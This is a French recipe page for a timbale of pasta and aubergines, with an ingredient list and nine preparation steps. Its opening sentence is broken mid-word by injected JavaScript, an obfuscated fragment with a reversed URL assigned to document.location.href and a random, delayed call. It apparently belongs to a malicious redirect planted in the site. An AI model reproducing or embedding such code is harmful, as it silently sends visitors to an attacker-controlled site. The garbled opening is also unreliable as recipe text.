Timbale de pâtes et d’aubergines

2017-11-16

Faites une incision sur chaque tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomate avec la pointe d’un couteau. Les plonger dans une eau bouillante pendant quelques secondes puis les plonger dans une eau glacée. Les peler, les couper en 2, les épépiner et les émincer. Pelez, hachez l’oignon, les gousses d’ail coupées en deux et dégermées.

Ingrédients

  • Ingrédients pour 4 personnes
  • 500 g de pâte reginette
  • 4 aubergines
  • 300 g de mozzarella Cucina Galbani
  • 900 g de tomates
  • 1 oignon
  • 2 gousses d'ail
  • 2 cuillères à soupe d'huile d'olives
  • 1 cuillère à soupe de beurre ramolli
  • Quelques feuilles de basilic ciselées
  • Sel / poivre du moulin

Préparation de la recette

Etape 1

Faites une incision sur chaque tomate avec la pointe d'un couteau. Les plonger dans une eau bouillante pendant quelques secondes puis les plonger dans une eau glacée.

Etape 2

Les peler, les couper en 2, les épépiner et les émincer. Pelez, hachez l'oignon, les gousses d'ail coupées en deux et dégermées.

Etape 3

Dans une poêle avec 2 cuillères à soupe d'huile d'olives, sur feu vif, faites rissoler l'oignon et les gousses d'ail hachés pendant 1 minute. Tout en remuant incorporez les tomates hachées, le basilic, salez, poivrez.

Etape 4

Augmentez le feu tout en remuant, puis baissez le feu et faites mijoter la sauce pendant 20 minutes environ.

Etape 5

Rincez les aubergines (Ne pas les peler ). Les couper en rondelles de ½ cm d'épaisseur. Dans une poêle faites les frire pendant quelques minutes. Les égoutter sur du papier absorbant.

Etape 6

Coupez en fines tranches la mozzarella avec le basilic ciselé. Plongez les pâtes dans une eau bouillante salée, faites les cuire aldente. Les égoutter, les assaisonner avec ¾ de la sauce tomate.

Etape 7

Beurrez un plat à gratin, versez en couche en alternance les pâtes, les aubergines, la mozzarella, le parmesan et le basilic. Saupoudrez de gruyère râpé, nappez de sauce tomate.

Etape 8

Préchauffez le four à 210° C thermostat 7. Enfournez et faites gratiner pendant 25 minutes environ.

Etape 9

Sortez le plat du four. Laissez reposer pendant 10 minutes et dégustez.

Note des membres

(0 / 5)

0 5 0
Notez cette recette

0 personne(s) ont noté cette recette

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *